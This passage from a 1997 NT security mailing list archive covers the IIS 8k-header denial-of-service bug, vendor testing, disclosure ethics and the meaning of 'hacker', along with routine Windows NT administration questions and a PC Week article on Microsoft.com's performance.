be a critical length and if your data is longer or shorter than this
critical length then there is no problem, it's only when you reach the
`==' case that things go horribly wrong. At least this time it didn't
take the OS with it.

-- 
Piers Cawley -- Systems Genie for Aladdin
If a `religion' is defined to be a system of ideas that contains
unprovable statements, then Godel taught us that mathematics is not
only a religion, it is the only religion that can prove itself to be
one. -- John Barrow
On Thu, 26 Jun 1997, Leonard Timmons wrote:

> Piers Cawley wrote:
> > Ah, first we have naming of parts methinks. The sense in which I'm
> > using hacker when describing the person who found the bug is the old,
> > positive, sense of 'one who is curious about/playful with technology',
> > not in it's more modern misused sense of 'one who maliciously breaks
> > into computer systems'.
> > 
> > > Before you release a piece of code, you should be sure that it
> > > can accept garbage on all inputs. This is especially true if
> > > the code is server code. Microsoft should have run this test.
> > > If someone runs this type of test against your system, and your
> > > system fails it, then you have not done your job. That person
> > > should not be vilified in any way.
> > 
> > Absolutely. And if my initial post gave the impression that the person
> > who found this hole deserves vilification then I unreservedly
> > apologize for my muddy writing.
> 
> I think that we agree. Your post was clear. I cut to heavily, I
> think. It was Microsoft's villification I was referring to.
> The word "hacker" has had so many meanings and shades of meaning, 
> that I think the word is becoming useless. Microsoft uses it 
> as a pejorative. They might as well have said, "Some bastard
> broke our IIS." 

In Microsoft's explanation of this particular bug, at least, they are very
clear in labelling the person not just "hacker" but "malicious hacker"
rather than bandying about "hacker" by itself to imply the negative
meanings that journalists have been foisting upon us.

> I still remember the old meaning of "hacker" as a programmer
> who knew just enough to almost get a project done, but ultimately
> would fail leaving behind a complete mess of code that no one
> could support. The guy did not know what he was doing, he was
> "hacking" (visions of a large machete being used to carve small 
> ivory figurines should come to mind).

Maybe not as far back, but when my userid afcasta established on a new
PDP-11/70, I clearly remember the mechanical engineering students at my
uni were having trouble with setting up some acoustic holography program
and put out a call for any hacker who could wade through their code and
help them out. Granted, these were mere schoolkids, and probably did not
understand your command of nuance. They did, however, eventually market
their work, once their "hacker" had been found, to the medical community
under the confusing name of "ultrasound". So now every time an
obstetrician misreads an ultrasound, he can just blame it on a hacker.

--
Al Castanoli | afcasta@texas.net | afn22800@afn.org
 | ah446@rgfn.epcc.edu | 
 "Computers save time like kudzu prevents soil erosion."


Sorry Paul but your numbers don't impress me, here is another one: as
there are 2**65536 possible inputs of 8k and only one would be able to
get unwanted reactions of IIS, this would mean that somebody has about
1/(2**65536) (I think you can call this 'almost zero') chance to find
this right (or wrong in your point of view) combination.

But right now somebody already found that combination. Several
conclusions are possible :

* That person is a real genius or even God
* That person was extremely lucky and should start gambling for money
* There are a lot of possible combinations crashing IIS (but to have a
real chance this number must also be hughe like 2**65500 ) and even I
believe that M$ does better than that
* You doen't need to try al possibilities because some basic
understanding can limit your possible choices extremely

My option is the last one and it is clear that the person reporting the
bug had some good hints to try this 8k combination. Are you telling me
then that at Microsoft nobody is capable of doing the same limitation of
combinations ?

Cheers,
Reinout

Paul Leach wrote:

> You don't mean this -- there are 2**65536 possible combinations of
> messages of length 8k bytes. Even for a protocol that accepts inputs
> of
> maximum length 32 bytes, that's about 2**257 possible combinations. At
>
> 100000 combinations per second (a ten microsecond network round trip),
>
> the latter would take 10**67 years -- for reference, the universe is
> about 10**10 years old.
>
> I would wager that _no-one_ has ever tested any even non-trivial
> protocol with all possible inputs.
>
> We did test IIS with garbage inputs -- just not exactly the right
> ones.
>
> Paul



> i want to allow just the necessary ports, and i need to be abble to
>manage iis services & sql servers which are running in ExposedNet from
>SecureNet.

IIS Manager uses RPC, so you need TCP135 to get to the RPC EndPoint
Mapper, and then you need to leave open a range from 1024 - 1100 (the
upper value will vary depending on how many services you are running on
your box, theoretically the upper value can be anything up to 32k, but
in practice its rarely above 1100).

The reason for the range of ports is because services which use the RPC
EPM are assigned ports dynamically when they start. Clients then asked
the well known port TCP135 what port to use to talk to the desired
service (DNS Manager, Exchange Server Administrator, etc...).

I'm not sure about the SQL Manager, its either TCP1433 or it uses RPC
EPM also (haven't checked).

If the service doesn't authenticate over its own connection, then you'll
also need to leave TCP139 open to allow authentication to occur.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

how do add my name to the list?


Matt ryanczak


Hi All,
I have a NT4.0 server running PPTP with SP3. I have another remote
NT4.0 server connected to ISP via modem.
When I tried to dial in using PPTP, on the remote side, the error
message is "remote ppp peer is not responding",
on the server side, the error message is "An error occured in the Point
to Point Protocol module on port VPN1.
The PPP negotiation is not converging." Any
suggestions? Thank you in advance.

William


Methinks Microsoft was referring to the person who attacked their web 
server as the "malicious hacker", not the person or persons who found 
and reported the bug. Engaging in a denial-of-service attack against 
an unwilling target definitely qualifies one as malicious in my book.

Hunting interesting bugs in other people's software seems to be more 
in the classic 'hacker' realm of behavior, though. So I would 
describe the person who found the bug and reported it as a hacker. 
 This is not a bad thing.

- Ken

----------
From: Leonard Timmons[SMTP:ltimmons@acsatlanta.com]
Sent: Wednesday, June 25, 1997 1:10 PM
To: ntsecurity@iss.net
Subject: Re: [NTSEC] Official Microsoft response to ISS denial of 
 service bug

Piers Cawley wrote:
> At least they had the decency to use the phrase `malicious hacker',
> tacitly accepting that not all hackers are malicious. However,
> speaking as an old-fashioned hacker I'd much rather they used
> 'cracker' or even 'scum'.

>From what I read of the orignial article released by the person
who found the bug, his behavior does not at all approach that
of a hacker or 'cracker'.
On Thu, 26 Jun 1997, Paul Leach wrote:

> You don't mean this -- there are 2**65536 possible combinations of
> messages of length 8k bytes. Even for a protocol that accepts inputs of
> maximum length 32 bytes, that's about 2**257 possible combinations. At
> 100000 combinations per second (a ten microsecond network round trip),
> the latter would take 10**67 years -- for reference, the universe is
> about 10**10 years old.

I'm not at all fond of Microsoft, but I have to agree with this. It 
may be inside the realm of possibility that they could have tested for
this, but I certainly wouldn't have expected it. This is a somewhat
obscure bug, and dozens or more of these exist in just about any major
product. It's the reality of the tools we use and the schedules people
work under.

Somebody recently discovered a bug in Suns Solaris operating system 
that allows anyone logged in locally to panic the system and have it
reboot. This has apparently existed in their OS for YEARS, and has only
just been discovered. 

This IIS bug is in no ways in the same league as the "telnet to random
ports and type garbage and the system CPU utilization goes to 100%", 
at least in my opinion.

-
Mike Miller
mke@llnl.gov
speaking for myself

At 15:08 6/20/97 -0400, Rick Bertoncin wrote:
>Uh- I do not believe you can disable the administrator account, *or*
delete it. Just rename it or copy it, you *can* disable the copied
administrator account. 

What you _can_ do is not allow the administrator account not to log in from
the network. Then you are in a situation where the only accounts that can
log in from the network can be locked out.

You can also apply passprop to cause network lockouts on the admin. Unless
you've taken several other steps, renaming the admin account gets you
nowhere. If you think about it, we have to correctly identify admins in the
scanner, regardless of whether they are running the US or the Chinese
version of NT - we obviously can't depend on the user name being
"administrator".

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 09:53 6/25/97 +0100, Mike Sheehy wrote:
>Hi,
>
>Can anyone tell me which settings take precedence between the Account
>Policies and the settings within the individual account properties, e.g.
>Password Never expires is present in both. I would expect the Account
>Policies settings but need confirmation.

The individual account will take precedence, AFAIK.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

At 20:07 6/17/97 -0700, you wrote:
>Does anyone know how to enumerate the users and groups in a trusted domain?
>
>I know that it can be done, since I can see them in the user manager, but I
>am unable to access this information from my own code. The NetxxxEnum
>functions don't appear to have the appropriate rights.

You're calling NetUserEnum at too high a level - use 0 or 10. To enumerate
groups without admin rights, you need to use LSA calls.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Jay Heiser wrote:
> 
> Let's not hold MS to higher standards than anybody else. 


If the problem that we are seeing is endemic to the software
community, then I guess we should be happy. I'm still using
NT. But now I recommend to my superiors that we not use any
new Microsoft product until it has gone through 3 major 
revisions. I am still smarting over SMS.

> My take on Microsoft's explanation, "gee, it doesn't crash the server,
> it just requires a simple restart," is the same as my take on their
> response to the OOB attack, "gee, all you need to do is reboot." I
> don't think it's evil; it's just naive.

I can't see this.

> My MS stock is going to be a
> lot more valuable once they can finally deliver a server that can run
> for months at a time without stopping.

It looks like NT server will not be mission critical capable
until version 5 service pack 4. As long as I know this, then
there's no problem. I refused to upgrade our server or my 
home machine until NT4 SP3. Though this machine had the 
NT4 beta on it.

-leonard


Does anyone know what happened to NTINTERALS.COM?
This was the most comprehensive site on NT OS internals;
including security, on the net.


Message-ID: <33B3CB8E.A757C94D@columbia.edu>
Date: Fri, 27 Jun 1997 10:17:50 -0400
From: William Zhang 
X-Mailer: Mozilla 4.01 [en] (WinNT; I)
MIME-Version: 1.0
To: ntsecurity@iss.net
Subject: PPTP server does not respond
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi All,
I have a NT4.0 server running PPTP with SP3. I have another remote
NT4.0 server connected to ISP via modem.
When I tried to dial in using PPTP, on the remote side, the error
message is "remote ppp peer is not responding",
on the server side, the error message is "An error occured in the Point
to Point Protocol module on port VPN1.
The PPP negotiation is not converging." Any
suggestions? Thank you in advance.

William

At 11:56 AM 6/27/97 -0400, David LeBlanc wrote:
>You're calling NetUserEnum at too high a level - use 0 or 10. To enumerate
>groups without admin rights, you need to use LSA calls.

I thought I was using level 0 for the user calls, guess I'll have to go
back and double check. I had a feeling that I was going to have to move to
the LSA calls, do you know if there's any code samples other that what's
included with the SDK?

thanks
dan
------------------------------------------------------------
Dan Barrett dbarrett@aventail.com
NT Server Development Lead www.aventail.com
Aventail 206.777.5609
this is basic router filter configuration, not a bug in steelhead.

> The problem is in the reciprocal rules. The second rule above allows a
> > connection to any port on my system as long as it originates from
> port
> > 25 on any system on the Internet. How difficult would it be to write
> a
> > program to use a source port of 25 and a destination port of, say,
> 19,
> > and send a request to the chargen server to start spitting stuff
> out?
> 
> to properly configure your filter rules on any router, you allow
> connections from your system to any RFC port you choose. when your
> system makes it's request to the internet, it's going to make it at a
> port >1024, so those are the only ports you should allow back from the
> internet to your hosts. this eliminates the possibility that they can
> attack any well-known service port.
> 
> any type of state-saving on such a device would make it more like a
> firewall (ie. fw/1), and not a router.
> 
> -joav kohn
> sr. technical consultant
> it/workgroup communications
> landis & staefa
> "inside...we're all wet" - bjork
> 
> 


[snip]

> In conclusion, we don't know what broke in IIS. You folks aren't
> going
> to tell us either.
> 
The following was posted to the NTBUGTRAQ list by one of the MS IIS
developers; I didn't notice that it wasn't the NTSECURITY list, and
assumed it had been posted here, and that everyone had seen it:

"Just FYI - it's a very specific boundary condition when parsing the
headers. The end of a token (method, URL, version or header) must be
exactly at 8k, followed by a second token. Our max header buffer is 8k,
anything beyond gets thrown out as an invalid request. In this
particular scenario, an index gets misinterpreted as a pointer so we
deref 0x00002000 which lo' and behold, doesn't exist.

The fix was to properly detect when we exceed the 8k boundary when we're
exactly at 8k. Our test matrix included all the standard tests for long
urls, long headers etc but they didn't happen to hit this very specific
window."

> What concerns me most is the concept of "good enough
> software" and its seeming embrace by Microsoft. While this may be
> fine
> for most appliations, what does "good enough" for a mission critical 
> server mean?
> 
Some of our criteria: that it can not be made to crash by any message
sent to it over the net, or corrupt or lose data; there must be no
resource leaks that cause an eventual reboot to be required.

Paul


Java 1.1 has native method support for all platforms, which allows 
essentially the same functionality as J/Direct. Any kind of native code 
functionality is not enabled by default for untrusted applets, and it 
probably won't even be enabled by default even for signed applets. So the 
situation is more like this: Your mom visits a Web page, IE puts up a 
dialog saying that the applet was signed by so-and-so and it's asking for 
J/Direct privs. Your mom can then yea or nay the dialog. It's still 
unsafe in certain situations, but it's not completely stupid.

Wesley Felter - wesley@binarycompass.com - Binary Compass Enterprises
In BizRate we trust - 
Disclaimer: My employer knows I'm crazy.

At 16:10 6/25/97 -0400, Leonard Timmons wrote:

>So who was the "bad guy" that found the OOB flaw in Microsoft's
>TCP stack? Is there some reason why this bug should have not
>been found in normal testing? Garbage in should not produce 
>garbage out.

We don't know who found that one. I believe that whoever it was found it
months before it became public. I can't say that the person who found it
originally did anything wrong. What I do object to is distributing code to
crash machines without notifying the vendor well in advance. I also object
to using that code to crash other people's computers without permission. It
really constitutes not much more than vandalism. For example, I'm quite
sure your front door is vulnerable to the crow-bar attack - same sort of
thing in my mind.

I'm not at all convinced it was required to crash Microsoft's site (or
anyone else's) to illustrate the problem.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

This may be part of the problem, but not all of it. Since either the hack, or 
the upgrade that M$ is supposed to have undertaken, I've experienced a number 
of problems, including:

1) Broken pages, in particular missing GIF images.

2) HTTP 404 messages. Re-try and the page is delivered.

3) HTTP 'access denied' messages (403, I think). Re-try and the page is 
delivered.

4) Scripts which previously worked now don't.

5) Server too busy messages.

A great way to advertise your technology - not! IMHO, I think that this is 
demonstrating that M$'s software is simply not ready for heavy-duty primetime 
yet.



Clem

______________________________ Reply Separator _________________________________
Subject: RE: [NTSEC] Microsoft web site is abnormal.
Author: kenny (kenny@earthling.net) at unix,mime
Date: 27/06/97 03:28


Well, 

This could be a slight explanation to what you have noticed:

Date: Wed, 25 Jun 1997 01:03:42 -0400 (EDT) 
Subject: Microsoft Web site Interrupted by cracker

Microsoft's Web site was disrupted briefly by a computer cracker who broke 
into the site's server computers by exploiting a flaw in the Microsoft 
Internet server software. The site was down only about 10 minutes, but 
company officials say users may have experienced more problems because the 
company currently is upgrading its servers. Microsoft has posted a fix for 
the flaw on its Web site, and a marketing director says all that was needed 
to get the machines going again was a reboot. 

That was taken off a RISKS security mailing list. Hope it helps. 

>Cheers, Olivier.

Ken

=------------------==--------------------------==------------------= 
[*] Ken Harris ||| kenny@earthling.net ||| HTML / C++ [*] 
[*] Prez ||| prez@dal.net ||| irc.dal.net [*] 
=------------------==--------------------------==------------------=

At 03:54 PM 6/27/97 +1000, Robert Barnes wrote:
>-----Original Message-----
>From: Russ [SMTP:Russ.Cooper@RC.ON.CA]
>Sent: Friday, June 27, 1997 2:24 AM
>To: NTBUGTRAQ@RC.ON.CA
>Subject: Alert: Routing and RAS Filtering issue
>
>DO NOT RESPOND TO THIS MESSAGE WITHOUT REMOVING ALERT: FROM THE SUBJECT
>LINE.
>
>I've just uncovered what appears to be a major problem with the
>filtering abilities of the Routing and RAS Service (R&R - Steelhead).
>
>I should say that this issue is currently being investigated by MS, but
>given the newness of the product, the lack of wide deployment, and the
>seriousness of the problem, I thought I should send this message out.
>
>R&R has no concept of an established connection. So in order to allow
>for two way communication over any protocol to any host, both Output =
>and
>Input rules must be configured. So, for example, if I wanted to permit
>an Exchange Server to communicate over the Internet for SMTP only, I'd
>need the following table of rules;
>
>Filter Source IP Dest IP Protocol Source Port Dest Port
>Output 1.2.3.4 any TCP 0 25
>Input any 1.2.3.4 TCP 25 0
>Output 1.2.3.4 any UDP 0 25
>Input any 1.2.3.4 UDP 25 0
>Output 1.2.3.4 any TCP 0 53
>Input any 1.2.3.4 TCP 53 0
>
>The first rule allows outbound connections to Internet SMTP servers
>The second rule allows data back from my outbound sessions
>The third rule allows inbound connections from the Internet
>The fourth rule allows data back to my inbound sessions
>The fifth and sixth rules are for DNS
>
>The problem is in the reciprocal rules. The second rule above allows a
>connection to any port on my system as long as it originates from port
>25 on any system on the Internet. How difficult would it be to write a
>program to use a source port of 25 and a destination port of, say, 19,
>and send a request to the chargen server to start spitting stuff out? =
>Or
>have it access TCP139 repeatedly doing login requests. Nothing would
>ever come back to me (since there isn't a reciprocal rule to allow
>outbound traffic back from the port I'm targeting), but I could easily
>do a Denial of Service on the machine on ports they never expected to
>see traffic on.

Can you block ports of < 1024 in R&RAS. Since a client SMTP implementation
will use a source port >= 1024, the rule could be:

Filter Source IP Dest IP Protocol Source Port Dest Port
Output 1.2.3.4 any TCP >1024 25
Input any 1.2.3.4 TCP 25 >1024

If not, maybe they should. Cisco can...

Eric



============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
David LeBlanc wrote:

> I'm not at all convinced it was required to crash Microsoft's site (or
> anyone else's) to illustrate the problem.

I agree with you, but (someone correct me if I am wrong) the person 
who found the IIS bug tested his machine. Did not believe his eyes,
did not have another machine to test, so he tested Microsoft's 
machine. Then he belived his eyes, and informed someone.

Now if I were this person, would I have released the java script 
that can halt IIS across the world? Well, I am still nursing this
hole in my soul from the minimally functional SMS we bought
some time ago from Microsoft. If I wanted to hurt them the way
they hurt me, I just might. Also if you take the position that
Microsoft continually releases beta code as finished product
or that they do not test their code well before releasing it 
(positions that are not completely irrational), then you might 
ask what the consequences are for Microsoft. If you think that 
there are none, then you might want to make some.

Only the author knows whether his intent was to retaliate for some
perceived past wrong. If it was, then I would have to determine 
whether the damage done to him warranted his release of this
code.

-leonard


On Fri, 27 Jun 1997 11:48:36 +0530 DINESH SHARMA wrote
about "[NTSEC] remote administration" :

> I have some problem It is not possible for me to do all setting on my internet server ( which is running on nt 4.0) is there any way where I can control all this things from remote site.
> 
> Dinesh sharma
> Dinesh@bluestar.co.in
You can use remote control software to do that.
In this part UNIX is more powerful and flexible than NT.
I may have to create a standalone Web/ftp server (NTS 4.0 sp2, soon to be sp3) which supports 100+ users. 

How can I set up that server so that users can establish their passwords remotely, much like one might do w/ a Unix host? Clients use Macs. Do I need a telnet server? If so, which one?

Thanks for your input,
-Barry



__________________________________________________________________
Barry Koblenz (bkoblenz@adm.schoolofvisualarts.edu)
Systems Administrator, MFA PHOTO, School of Visual Arts 
Tel (212)592-2364 Fax (212)592-2368
Check out our Website at http://mfaphoto.schoolofvisualarts.edu
__________________________________________________________________


At 15:02 6/27/97 -0400, Leonard Timmons wrote:
>David LeBlanc wrote:
 
>> I'm not at all convinced it was required to crash Microsoft's site (or
>> anyone else's) to illustrate the problem.
 
>I agree with you, but (someone correct me if I am wrong) the person 
>who found the IIS bug tested his machine. Did not believe his eyes,
>did not have another machine to test, so he tested Microsoft's 
>machine. Then he belived his eyes, and informed someone.

Well, IMHO, it was rude to have done that without checking with them. If
he'd called them, they could have given him a somewhat less critical machine
to test with.

>Now if I were this person, would I have released the java script 
>that can halt IIS across the world? Well, I am still nursing this
>hole in my soul from the minimally functional SMS we bought
>some time ago from Microsoft. If I wanted to hurt them the way
>they hurt me, I just might. Also if you take the position that
>Microsoft continually releases beta code as finished product
>or that they do not test their code well before releasing it 
>(positions that are not completely irrational), then you might 
>ask what the consequences are for Microsoft. If you think that 
>there are none, then you might want to make some.

I can understand those feelings, but carrying out revenge in that manner
isn't what I'd consider ethical or legal. I've bought things from Microsoft
that didn't work so well (as well as things that have), but I never felt
like it was right to disrupt them in that manner because of it. Perhaps get
out on USENET and grumble about how screwed up product X was, but I think
that fits.

>Only the author knows whether his intent was to retaliate for some
>perceived past wrong. If it was, then I would have to determine 
>whether the damage done to him warranted his release of this
>code.

I think perhaps his web page name (jihad) is a comment on that. Personally,
I think it is only appropriate to release exploit code when the vendor has
been notified and has had a reasonable length of time to fix the problem.
After that, full disclosure is a good thing.



-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Hi all !

I'm in a trouble useing Altavista Firewall/Tunnel and I'm not shure if
they work fine with SP3.

The configuration is:

 Machine 1 : Windows NT 4.0 + Service Pack 3 + Altavista Firewall 96
(v1.1)
 Machine 2 : Windows NT 4.0 + Service Pack 3 + Altavista Tunnel 96

Apparently, the Tunnel Software doesn't work on this platform or (at
last) has problems. Also, it doesn't work without Firewall in the
middle.
I'd tested fine the trial version but before SP3, does anyone know
something about this new "feature" of the Service Pack 3 ??

Thanks !



-- 

Saludos
Ruben Sajnovetzky - ruben@is.com.ar
Actually, there is a version out on the Web Server right now. I'm not
sure if it is the released version, although it does appear to be.
There are two versions shown, the original beta and this new version.

http://www.microsoft.com/ntworkstation
http://www.microsoft.com/zak

------------------------------------
Wesley.Peace@ncons.com
Microsoft Exchange/BackOffice MVP

"The only tools one needs in life are: WD-40 to make things go and duct
tape to make them stop." -- anon.


> -----Original Message-----
> From: Jules Campbell [SMTP:jcampbell@westpac.com.au]
> Sent: Friday, June 27, 1997 6:25 AM
> To: 'Panayotis Ipirotis'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Restrictions and roaming profiles do not
> apply
> 
> MS ZERO ADMINISTRATION KIT IS YOUR ANSWER. Out soon. 
> 
> 

Howdy,

Ever since we installed a new firewall(Watchguard), I've noticed some
strange activities outside the firewall.

The Watchguard firewall automatically blocks port 2049 udp/tcp for NFS,
and
puts the offending host on the "blocked site" list. The problem is that I
found two external hosts (one of them is our own SMTP server) that are
sending ack and syn-ack tcp packets to the port 2049 of an internal host.
This causes our SMTP server to be put on Watchguard's "blocked site" list
and we lose connection to our own SMTP/POP server. BTW, our SMTP server is 
running on Windows NT40/Netscape Mail. And the other offending host is a
web server (205.147.4.5).

Any ideas? Is 2049 a valid port to be used as sending ack and syn-ack
packets, or are we under some sort of attack (doubt it)?

Thanks in advance.

-Simon 

Hello everybody! This is my first message to the mailing list!

Simon Yeo wrote:

> Is it possible to demote a Primary Domain Controller to a standalone
> server? If so, how?
> Thanks in advance,
> 
> -Simon

No can do, you must reinstall NT.
When you install a PDC or a BDC your're using the SID (Security ID) from
the domain, so if you move a PDC or BDC to a different domain you must
reinstall NT in order to get the new domain SID. Unlike this, when you
install a domain server or a workstation you're using a domain
independent SID, that's why you can move domain servers and workstations
between domains without reinstall NT.
In this case to demote a PDC to a domain server you must reinstall NT
because you need to gain a domain independent SID.

To view this, I suggest you use the GETSID utility that comes with NT
Resource Kit.
 
Hope this helps
-- 
Nuno Miguel Marques Dias
Microsoft Certified Professional - PORTUGAL
Free Speech Online - Blue Ribbon Campaign
nunomarquesdias@mail.telepac.pt - UIN 1322513



 
 Hi, this is my first post to this list. We are running NT4.0 and IIS. We
 have some directories that still display web pages but when we try to get
 in the directories to make changes or delete it says directory not found.
 Also we have tried to delete some directories and it says access denied.
We
 have tried everything we can thing of, such as changing permissions,
 turning of the web server and still access denied, can't delete.
 If any of you could shed any light for us we would sure appreciate it.
 Mike
 webmaster@bewellnet.com

Paul Leach wrote:
> [Leonard Timmons wrote:]
> > Piers Cawley wrote:
> > > At least they had the decency to use the phrase `malicious hacker',
> > > tacitly accepting that not all hackers are malicious. However,
> > > speaking as an old-fashioned hacker I'd much rather they used
> > > 'cracker' or even 'scum'.
> >
> > From what I read of the orignial article released by the person
> > who found the bug, his behavior does not at all approach that
> > of a hacker or 'cracker'.
> >
> The issue wasn't the person who found the bug, it was the people who
> exploited it to crash many web servers on the internet. They are
> malicious, in my book.

They are not malicious hackers, they are vandals. Unless there
is a reason for using a new word (hacker), I will stick with the
legacy one (person) unless the new one adds something to the 
meaning of the statement. OK, replace the word leagacy with old.

> > Before you release a piece of code, you should be sure that it
> > can accept garbage on all inputs.
> >
> You don't mean this -- there are 2**65536 possible combinations of
> messages of length 8k bytes. Even for a protocol that accepts inputs of
> maximum length 32 bytes, that's about 2**257 possible combinations. At
> 100000 combinations per second (a ten microsecond network round trip),
> the latter would take 10**67 years -- for reference, the universe is
> about 10**10 years old.

I meant what I said. However, I did not fully say what I meant. 
No one tests code in the way that you outlined. I just assumed
that most folks reading this would know that. My mistake.

If you want to test a piece of code against garbage inputs, then
by all means do not run through all possible inputs to determine
whether the code will pass. You have no way of knowing this, in
any event, unless you produce a table of all possible outputs. 
Both of these activities are useless.

The most appropriate thing to do is to know and understand your 
input. Most protocols are not random. A random sequence will 
*rarely* qualify as valid input. If, for instance, the SOH 
character begins a message, the code implementing the protocol
simply ignores all characters until a SOH is encountered. Running
a garbage test against such a statement (notice that we are now
looking at the code) is useless. It is a simple condional 
statement.

The point that I am making here, is that during debug you look 
at the input domain and the code that parses the input. You look
at the characteristics of the input, then you look at your code.
When you look at your code, you let the input vary in legal and
illegal ways in an attempt to break the code. The illegal 
variations are garbage. The legal variations are not.

Now if the person debugging your code does not know the protocol
or does not know the code he is debugging, then you have a problem.
A big one. Running signature tests against your code may help,
but will not find as many bugs. Unfortunately, debugging is
such drudgery, who wants to do it? How do you get a person who
is expert in the details of TCP to look at your implementation?
Wouldn't he just want to rewrite it? Does it need rewriting?

> I would wager that _no-one_ has ever tested any even non-trivial
> protocol with all possible inputs.

Answered. Was not my intent.

> We did test IIS with garbage inputs -- just not exactly the right ones.

Defined garbage above.

By the way, I understood the inputs to IIS were legal. Are they not?

The main problem here, I think, is the use of idealisms in real world 
programming. When I was in school, the folks there taught me that
a string was a sequence of characters of possibly infine extent that
was terminated by a null character. I have yet to encounter a 
computer that could handle a string so defined. I have on many 
occasions read and have seen others read a string from a keyboard 
into a buffer. The buffer has a max length. The string does not.
Bang! You're dead. Getting rid of the *concept* of a string of 
arbitrary length is the only solution to this problem and others
like it. I refuse to use strcopy() and other functions like it.
It's just crazy.

I think that most of these idealisms are used as teaching tools.
They get the concept across without the confusion that comes from
having to handle all of the error conditions that could exist when
reading a simple string into a buffer. Unfortunately, this results
in folks actually trying to use these idealisms in the real world
and completely neglecting the handling of error conditions, which is
at the very heart of programming. I always say, "You can get a 
trained monkey to write straight through code. It is the handling
of error conditions that make you a programmer."

Other faulty idealisms center around the heap. The heap is a 
collection of memory of (nearly) infinite size 
from which you can allocate blocks. You never have to concern yourself
with what happens when the heap is exhausted. You never have to worry
about fragmentation. You will never drop a block and cause a memory
leak nor will you ever overwrite the allocation information just 
prior to the block and corrupt the heap when the memory is returned.
I could go on. But the general rule is to avoid programming techniques
that are prone to producing bugs and especially those which produce
bugs that you don't have the skill (or tools) to find.

In conclusion, we don't know what broke in IIS. You folks aren't going
to tell us either. What concerns me most is the concept of "good enough
software" and its seeming embrace by Microsoft. While this may be fine
for most appliations, what does "good enough" for a mission critical 
server mean?

I don't think that we should be seeing nearly this many serious bug
fixes.

-leonard
Hamer, Kenneth wrote:
> 
> Methinks Microsoft was referring to the person who attacked their web
> server as the "malicious hacker", not the person or persons who found
> and reported the bug. Engaging in a denial-of-service attack against
> an unwilling target definitely qualifies one as malicious in my book.

The person who found the bug did indicate that he crashed 
Microsoft's site. It was my understanding that he was the
only one who did (with this bug). I could be wrong about 
this.

-leonard
At 11:04 6/16/97 -0500, Steve Sutton wrote:

>Like most people seem to be, I'm uncomfortable about the great
>intermingling of highly sensitive files and the "chaff" that seems to
>clutter SYSTEM32 and its neighborhood. (Although I grant that the WINNT
>directory does have a degree of security organization). For example, I
>recently noted a "readme" file that my C++ compiler install placed in
>SYSTEM32. (Why it was not happy putting it in the program's main
>directory is a mystery to me!) 

I'd almost go as far as to suggest that NT 5.0 use a different tree for the
actual OS system files, and let the existing systemroot tree be a throwaway.

We really need to organize things better than this - for example, we have
sets of DLLs that users should never change, and we have sets that we might
want to be changed - all tossed in together in system32. We need something
along the lines of /bin and /usr/bin

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Poor Microsoft.com performance frustrates users
By Norvin Leach
June 27, 1997 2:20 PM PDT
PC Week Online 



The sluggish performance of Microsoft Corp.'s Web site and a recent 
hacker-driven crash point to an ongoing series of challenges Microsoft.com -- 
and the technology behind it -- is facing.

The site, at www.microsoft.com, has been slow, unresponsive and, at times, 
inaccessible. 

"The performance is remarkably slow at all hours, day or night," said Dave 
Nanian, vice president of UnderWare Corp., a Boston ISV. "It's obviously 
getting slammed, and it doesn't seem to handle the slamming well."

Microsoft attributes the problems partly to skyrocketing use, which officials 
are estimating at 88 million hits per day. That's more than a tenfold increase 
over a year ago, and the number of hits is growing by 10 percent to 15 percent 
each month, said Pieter Kanook, general manager for Microsoft.com at the 
Redmond, Wash., company.

For users, the poor performance also reflects negatively on the underlying 
Microsoft technology, namely, Internet Information Server (IIS) and the Active 
Server Pages publishing system.

Solutions are on the way, but so are more potential problems. Microsoft is 
developing a new version of IIS to improve performance. However, this fall, 
Microsoft may give those performance gains back when it adds power-draining 
features such as push and personalization to the site.

To make matters worse, two weeks ago a hacker shut down the site for several 
hours by exploiting a security breach in IIS. Within a short time, Microsoft 
had discovered the breach, fixed it and posted a patch that requires NT 
Service Pack 3.

But plugging the security breach didn't satisfy all users. 

"I've been trying for two days to get into the Knowledge Base, and I keep 
getting errors," said reseller Steve Schone, president of Micro Solutions 
Inc., in Danbury, Conn.

To address the problems, Microsoft will add crash-protection and recovery 
features in IIS 4.0, which was released to limited beta testing last week.

With those features, if a browser is running an Active Server Page application 
and that application fails, the user can try to restart the application by 
refreshing the browser. In addition, IIS 4.0 supports two-node failover 
clustering and includes a basic set of usage and analysis tools called 
SiteServer Express.

While these features may bring added stability to IIS, Microsoft.com won't 
upgrade the site until the second beta release later this year. Until then, it 
must rely on capacity planning and changes to the network topology to ward off 
future problems. Such changes include the consolidation of two data centers 
